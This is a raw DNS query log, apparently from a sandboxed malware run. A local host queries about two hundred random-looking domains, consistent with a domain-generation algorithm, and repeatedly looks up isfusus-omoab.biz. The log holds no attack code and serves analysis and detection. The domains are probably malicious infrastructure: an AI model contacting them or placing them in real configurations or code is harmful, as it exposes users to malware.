Jan 5, 2025 10:50:44.765477896 CET	192.168.2.4	1.1.1.1	0x1375	Standard query (0)	siabzsmu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:45.101330996 CET	192.168.2.4	1.1.1.1	0x377f	Standard query (0)	umcawrx.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:45.993717909 CET	192.168.2.4	1.1.1.1	0xc7c0	Standard query (0)	umcawrx.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.179440975 CET	192.168.2.4	1.1.1.1	0x96ef	Standard query (0)	qewtqeqctcz.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.270052910 CET	192.168.2.4	1.1.1.1	0x2266	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.294426918 CET	192.168.2.4	1.1.1.1	0xf610	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.366718054 CET	192.168.2.4	1.1.1.1	0x50ea	Standard query (0)	hiwgyyiarus.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.558587074 CET	192.168.2.4	1.1.1.1	0x20a7	Standard query (0)	hiwgyyiarus.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.725987911 CET	192.168.2.4	1.1.1.1	0x5737	Standard query (0)	ikxyhewbcoyaw.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.901976109 CET	192.168.2.4	1.1.1.1	0x6a62	Standard query (0)	ikxyhewbcoyaw.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:46.992743015 CET	192.168.2.4	1.1.1.1	0x790f	Standard query (0)	emyyye.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.081962109 CET	192.168.2.4	1.1.1.1	0xf963	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.096395969 CET	192.168.2.4	1.1.1.1	0xf73	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.240525007 CET	192.168.2.4	1.1.1.1	0x5d7e	Standard query (0)	eewoj.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.338781118 CET	192.168.2.4	1.1.1.1	0x9041	Standard query (0)	eewoj.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.415134907 CET	192.168.2.4	1.1.1.1	0x1c12	Standard query (0)	uaici.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.513153076 CET	192.168.2.4	1.1.1.1	0x24b1	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.533411026 CET	192.168.2.4	1.1.1.1	0x5fdb	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.641282082 CET	192.168.2.4	1.1.1.1	0x960f	Standard query (0)	suaumy.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.712696075 CET	192.168.2.4	1.1.1.1	0xfff3	Standard query (0)	suaumy.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.835427999 CET	192.168.2.4	1.1.1.1	0x943	Standard query (0)	mcebkwggagthk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.857691050 CET	192.168.2.4	1.1.1.1	0x8ead	Standard query (0)	mcebkwggagthk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:47.977194071 CET	192.168.2.4	1.1.1.1	0xd23	Standard query (0)	qauzomtcasm.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.176211119 CET	192.168.2.4	1.1.1.1	0x7d11	Standard query (0)	qauzomtcasm.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.335621119 CET	192.168.2.4	1.1.1.1	0xca6e	Standard query (0)	ameiooxomkd.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.419095993 CET	192.168.2.4	1.1.1.1	0xcb3a	Standard query (0)	ameiooxomkd.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.524988890 CET	192.168.2.4	1.1.1.1	0x195e	Standard query (0)	hqbcsfzzymu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.720763922 CET	192.168.2.4	1.1.1.1	0xeff7	Standard query (0)	hqbcsfzzymu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:48.935789108 CET	192.168.2.4	1.1.1.1	0x9469	Standard query (0)	egcgjybmgq.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.129856110 CET	192.168.2.4	1.1.1.1	0x2433	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.141885996 CET	192.168.2.4	1.1.1.1	0x43f6	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.226325989 CET	192.168.2.4	1.1.1.1	0x455c	Standard query (0)	arripuiwve.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.271040916 CET	192.168.2.4	1.1.1.1	0x4fd8	Standard query (0)	arripuiwve.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.387742996 CET	192.168.2.4	1.1.1.1	0xc908	Standard query (0)	wsani.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.426203966 CET	192.168.2.4	1.1.1.1	0x3222	Standard query (0)	wsani.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.509330988 CET	192.168.2.4	1.1.1.1	0xc755	Standard query (0)	coaccvbciv.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.778510094 CET	192.168.2.4	1.1.1.1	0xb392	Standard query (0)	coaccvbciv.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.913594961 CET	192.168.2.4	1.1.1.1	0xfe5	Standard query (0)	juwsqwrkyaw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:49.933310032 CET	192.168.2.4	1.1.1.1	0xf3ee	Standard query (0)	juwsqwrkyaw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.007807016 CET	192.168.2.4	1.1.1.1	0xab2a	Standard query (0)	dyrlgtmsr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.020456076 CET	192.168.2.4	1.1.1.1	0xb20e	Standard query (0)	dyrlgtmsr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.132205963 CET	192.168.2.4	1.1.1.1	0x7586	Standard query (0)	qqagyzhopg.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.218347073 CET	192.168.2.4	1.1.1.1	0x693e	Standard query (0)	qqagyzhopg.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.304084063 CET	192.168.2.4	1.1.1.1	0x1e36	Standard query (0)	crwpssiwwym.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.315252066 CET	192.168.2.4	1.1.1.1	0x265	Standard query (0)	crwpssiwwym.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.398305893 CET	192.168.2.4	1.1.1.1	0x6683	Standard query (0)	ixecmgaww.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.427097082 CET	192.168.2.4	1.1.1.1	0xffe0	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.440258980 CET	192.168.2.4	1.1.1.1	0x33b4	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.507486105 CET	192.168.2.4	1.1.1.1	0xa794	Standard query (0)	qniwqotgk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.562431097 CET	192.168.2.4	1.1.1.1	0x3bc	Standard query (0)	qniwqotgk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:50.679996967 CET	192.168.2.4	1.1.1.1	0x852	Standard query (0)	oussi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:51.651118994 CET	192.168.2.4	1.1.1.1	0xf81e	Standard query (0)	oussi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:52.585782051 CET	192.168.2.4	1.1.1.1	0xd2f8	Standard query (0)	monkkutsqof.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:52.640237093 CET	192.168.2.4	1.1.1.1	0x4c25	Standard query (0)	monkkutsqof.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:52.799464941 CET	192.168.2.4	1.1.1.1	0x446	Standard query (0)	xczmqhvqe.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.067409992 CET	192.168.2.4	1.1.1.1	0x25fe	Standard query (0)	xczmqhvqe.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.398107052 CET	192.168.2.4	1.1.1.1	0x46ee	Standard query (0)	kybsrfuokmd.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.422480106 CET	192.168.2.4	1.1.1.1	0x2b09	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.436753988 CET	192.168.2.4	1.1.1.1	0x954c	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.538742065 CET	192.168.2.4	1.1.1.1	0x9c34	Standard query (0)	ukgyw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.593154907 CET	192.168.2.4	1.1.1.1	0xf787	Standard query (0)	ukgyw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.666379929 CET	192.168.2.4	1.1.1.1	0xdc2f	Standard query (0)	irsgwyech.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.691328049 CET	192.168.2.4	1.1.1.1	0xce0c	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.703480005 CET	192.168.2.4	1.1.1.1	0x8b8a	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.774561882 CET	192.168.2.4	1.1.1.1	0xe811	Standard query (0)	tguceicakxq.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.879332066 CET	192.168.2.4	1.1.1.1	0xb34e	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.894305944 CET	192.168.2.4	1.1.1.1	0x578b	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.977299929 CET	192.168.2.4	1.1.1.1	0xf9d	Standard query (0)	wseigwggpdup.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.025863886 CET	192.168.2.4	1.1.1.1	0x702c	Standard query (0)	wseigwggpdup.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.149236917 CET	192.168.2.4	1.1.1.1	0xe3a8	Standard query (0)	tgyqmynssmcag.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.160917044 CET	192.168.2.4	1.1.1.1	0xaea6	Standard query (0)	tgyqmynssmcag.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.257780075 CET	192.168.2.4	1.1.1.1	0x5bca	Standard query (0)	yvgaoygyg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.270742893 CET	192.168.2.4	1.1.1.1	0xe466	Standard query (0)	yvgaoygyg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.351619005 CET	192.168.2.4	1.1.1.1	0x44fe	Standard query (0)	aukbxwufnkwsdi.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.510696888 CET	192.168.2.4	1.1.1.1	0x7a0f	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.527297020 CET	192.168.2.4	1.1.1.1	0xea1d	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.601290941 CET	192.168.2.4	1.1.1.1	0xf33f	Standard query (0)	ybrmiofudloco.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.669758081 CET	192.168.2.4	1.1.1.1	0xee96	Standard query (0)	ybrmiofudloco.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.773101091 CET	192.168.2.4	1.1.1.1	0x9134	Standard query (0)	dgtyfiwrs.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.877331972 CET	192.168.2.4	1.1.1.1	0xb72f	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.889740944 CET	192.168.2.4	1.1.1.1	0x2127	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.960403919 CET	192.168.2.4	1.1.1.1	0xc595	Standard query (0)	yowfygxup.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.981503963 CET	192.168.2.4	1.1.1.1	0x59a0	Standard query (0)	yowfygxup.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.069762945 CET	192.168.2.4	1.1.1.1	0xac66	Standard query (0)	wiszqdiksmqucq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.095277071 CET	192.168.2.4	1.1.1.1	0x65ff	Standard query (0)	wiszqdiksmqucq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.195045948 CET	192.168.2.4	1.1.1.1	0xc657	Standard query (0)	guvmy.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.217641115 CET	192.168.2.4	1.1.1.1	0x29b9	Standard query (0)	guvmy.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.304260969 CET	192.168.2.4	1.1.1.1	0x6247	Standard query (0)	xqlha.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.345861912 CET	192.168.2.4	1.1.1.1	0x83b7	Standard query (0)	xqlha.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.445697069 CET	192.168.2.4	1.1.1.1	0xfb85	Standard query (0)	wmnixgapw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.484055996 CET	192.168.2.4	1.1.1.1	0xc0fc	Standard query (0)	wmnixgapw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.569885015 CET	192.168.2.4	1.1.1.1	0x3ac2	Standard query (0)	cmyvciqxpys.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.589860916 CET	192.168.2.4	1.1.1.1	0xca21	Standard query (0)	cmyvciqxpys.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.665083885 CET	192.168.2.4	1.1.1.1	0x624f	Standard query (0)	okuexwgymciw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.551290035 CET	192.168.2.4	1.1.1.1	0xe9c	Standard query (0)	okuexwgymciw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.804343939 CET	192.168.2.4	1.1.1.1	0x8bf3	Standard query (0)	hbcoydew.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.816196918 CET	192.168.2.4	1.1.1.1	0x9de7	Standard query (0)	hbcoydew.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.883048058 CET	192.168.2.4	1.1.1.1	0xd3e3	Standard query (0)	xdgwlthsnfudy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.167799950 CET	192.168.2.4	1.1.1.1	0xcbfb	Standard query (0)	xdgwlthsnfudy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.508929014 CET	192.168.2.4	1.1.1.1	0x9e08	Standard query (0)	ailab.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.528871059 CET	192.168.2.4	1.1.1.1	0x9f99	Standard query (0)	ailab.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.602315903 CET	192.168.2.4	1.1.1.1	0x5632	Standard query (0)	mzpgcqytymcukd.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.958839893 CET	192.168.2.4	1.1.1.1	0x7986	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.050362110 CET	192.168.2.4	1.1.1.1	0x4233	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.153301954 CET	192.168.2.4	1.1.1.1	0xd9b2	Standard query (0)	sodeuga.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.380356073 CET	192.168.2.4	1.1.1.1	0xe181	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.392467022 CET	192.168.2.4	1.1.1.1	0x779e	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.460988998 CET	192.168.2.4	1.1.1.1	0xd062	Standard query (0)	ngzccmaioiowqy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.485316992 CET	192.168.2.4	1.1.1.1	0x648	Standard query (0)	ngzccmaioiowqy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.554584026 CET	192.168.2.4	1.1.1.1	0xed03	Standard query (0)	isyyurwajimz.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.829181910 CET	192.168.2.4	1.1.1.1	0x8351	Standard query (0)	isyyurwajimz.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.897811890 CET	192.168.2.4	1.1.1.1	0x61f4	Standard query (0)	gqvpmamcaek.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.911412954 CET	192.168.2.4	1.1.1.1	0x95eb	Standard query (0)	gqvpmamcaek.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.978435993 CET	192.168.2.4	1.1.1.1	0x2ea0	Standard query (0)	wgsorqygs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.000897884 CET	192.168.2.4	1.1.1.1	0x352b	Standard query (0)	wgsorqygs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.069621086 CET	192.168.2.4	1.1.1.1	0x9520	Standard query (0)	wcwvj.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.150712013 CET	192.168.2.4	1.1.1.1	0x74e2	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.163980961 CET	192.168.2.4	1.1.1.1	0xeb2a	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.225841045 CET	192.168.2.4	1.1.1.1	0x2c7c	Standard query (0)	idmagweywhpmw.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.367049932 CET	192.168.2.4	1.1.1.1	0x6d04	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.374815941 CET	192.168.2.4	1.1.1.1	0x5046	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.444735050 CET	192.168.2.4	1.1.1.1	0x2158	Standard query (0)	beknnqtuzny.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.710510969 CET	192.168.2.4	1.1.1.1	0x7f9d	Standard query (0)	beknnqtuzny.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.038755894 CET	192.168.2.4	1.1.1.1	0x2171	Standard query (0)	sdqjaqxca.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.071736097 CET	192.168.2.4	1.1.1.1	0x842	Standard query (0)	sdqjaqxca.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.147861958 CET	192.168.2.4	1.1.1.1	0x341e	Standard query (0)	gaedounls.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.234512091 CET	192.168.2.4	1.1.1.1	0xa454	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.245187998 CET	192.168.2.4	1.1.1.1	0x20f4	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.319856882 CET	192.168.2.4	1.1.1.1	0xcefc	Standard query (0)	amkcguxwpox.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.343065023 CET	192.168.2.4	1.1.1.1	0xcb47	Standard query (0)	amkcguxwpox.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.417805910 CET	192.168.2.4	1.1.1.1	0xc192	Standard query (0)	ioiucynzuxpi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.433370113 CET	192.168.2.4	1.1.1.1	0x92ea	Standard query (0)	ioiucynzuxpi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.519654036 CET	192.168.2.4	1.1.1.1	0xff56	Standard query (0)	usawfgu.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.593811035 CET	192.168.2.4	1.1.1.1	0xde20	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.604437113 CET	192.168.2.4	1.1.1.1	0xff08	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.868937016 CET	192.168.2.4	1.1.1.1	0x4bda	Standard query (0)	hxdrsskgeycit.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.140945911 CET	192.168.2.4	1.1.1.1	0xf85c	Standard query (0)	hxdrsskgeycit.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.241486073 CET	192.168.2.4	1.1.1.1	0x3d46	Standard query (0)	eqmpup.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.255546093 CET	192.168.2.4	1.1.1.1	0x80b3	Standard query (0)	eqmpup.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.357601881 CET	192.168.2.4	1.1.1.1	0x179a	Standard query (0)	yoeeupbua.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.371521950 CET	192.168.2.4	1.1.1.1	0x60db	Standard query (0)	yoeeupbua.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.445811033 CET	192.168.2.4	1.1.1.1	0x1e76	Standard query (0)	ckcmcxkbaojqt.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.460551977 CET	192.168.2.4	1.1.1.1	0x2061	Standard query (0)	ckcmcxkbaojqt.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.555620909 CET	192.168.2.4	1.1.1.1	0x5bfb	Standard query (0)	mrgiqzs.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.604178905 CET	192.168.2.4	1.1.1.1	0xf61c	Standard query (0)	mrgiqzs.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.695177078 CET	192.168.2.4	1.1.1.1	0xae1c	Standard query (0)	aiueaxvqy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.719232082 CET	192.168.2.4	1.1.1.1	0x50a	Standard query (0)	aiueaxvqy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.789112091 CET	192.168.2.4	1.1.1.1	0x30a3	Standard query (0)	vwgia.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.574647903 CET	192.168.2.4	1.1.1.1	0x2314	Standard query (0)	vwgia.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.913809061 CET	192.168.2.4	1.1.1.1	0xe958	Standard query (0)	mgsufsmmbq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.928061962 CET	192.168.2.4	1.1.1.1	0xa9c8	Standard query (0)	mgsufsmmbq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.991712093 CET	192.168.2.4	1.1.1.1	0xd8ef	Standard query (0)	orwofownuaoc.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.293072939 CET	192.168.2.4	1.1.1.1	0x2bd8	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.302203894 CET	192.168.2.4	1.1.1.1	0xb06f	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.401283026 CET	192.168.2.4	1.1.1.1	0xdfcd	Standard query (0)	cctgkue.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.701721907 CET	192.168.2.4	1.1.1.1	0xc263	Standard query (0)	cctgkue.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.852284908 CET	192.168.2.4	1.1.1.1	0x501a	Standard query (0)	crzmg.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.866005898 CET	192.168.2.4	1.1.1.1	0x746a	Standard query (0)	crzmg.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.976042986 CET	192.168.2.4	1.1.1.1	0xb98a	Standard query (0)	isqiqscotamu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:04.848196030 CET	192.168.2.4	1.1.1.1	0xcf3	Standard query (0)	isqiqscotamu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:05.851895094 CET	192.168.2.4	1.1.1.1	0x4a00	Standard query (0)	coeonpsesopck.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:06.635418892 CET	192.168.2.4	1.1.1.1	0x1420	Standard query (0)	coeonpsesopck.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:06.961190939 CET	192.168.2.4	1.1.1.1	0xe9d	Standard query (0)	yjaacgn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:06.975709915 CET	192.168.2.4	1.1.1.1	0x5780	Standard query (0)	yjaacgn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.038469076 CET	192.168.2.4	1.1.1.1	0xbf8a	Standard query (0)	xsmlfswvw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.052882910 CET	192.168.2.4	1.1.1.1	0x12dc	Standard query (0)	xsmlfswvw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.132797956 CET	192.168.2.4	1.1.1.1	0xf245	Standard query (0)	oaqscmiai.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.148881912 CET	192.168.2.4	1.1.1.1	0x29a9	Standard query (0)	oaqscmiai.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.257721901 CET	192.168.2.4	1.1.1.1	0x6110	Standard query (0)	saxoeqhueqkit.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.311798096 CET	192.168.2.4	1.1.1.1	0x94de	Standard query (0)	saxoeqhueqkit.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.384884119 CET	192.168.2.4	1.1.1.1	0x37da	Standard query (0)	qgejoc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.484888077 CET	192.168.2.4	1.1.1.1	0x970a	Standard query (0)	qgejoc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.726452112 CET	192.168.2.4	1.1.1.1	0xc476	Standard query (0)	guooewkujaa.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.790642023 CET	192.168.2.4	1.1.1.1	0xfc5f	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.800957918 CET	192.168.2.4	1.1.1.1	0x7410	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.866770029 CET	192.168.2.4	1.1.1.1	0xfb89	Standard query (0)	mkedkcayjfxgb.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.963021040 CET	192.168.2.4	1.1.1.1	0xb4e4	Standard query (0)	mkedkcayjfxgb.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.210807085 CET	192.168.2.4	1.1.1.1	0x266f	Standard query (0)	gkgosusqx.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.298269033 CET	192.168.2.4	1.1.1.1	0x97da	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.308751106 CET	192.168.2.4	1.1.1.1	0x3e1a	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.366631985 CET	192.168.2.4	1.1.1.1	0x472f	Standard query (0)	ugmgkdoiyi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:09.152044058 CET	192.168.2.4	1.1.1.1	0x4e2f	Standard query (0)	ugmgkdoiyi.mp	A (IP address)	IN (0x0001)	false
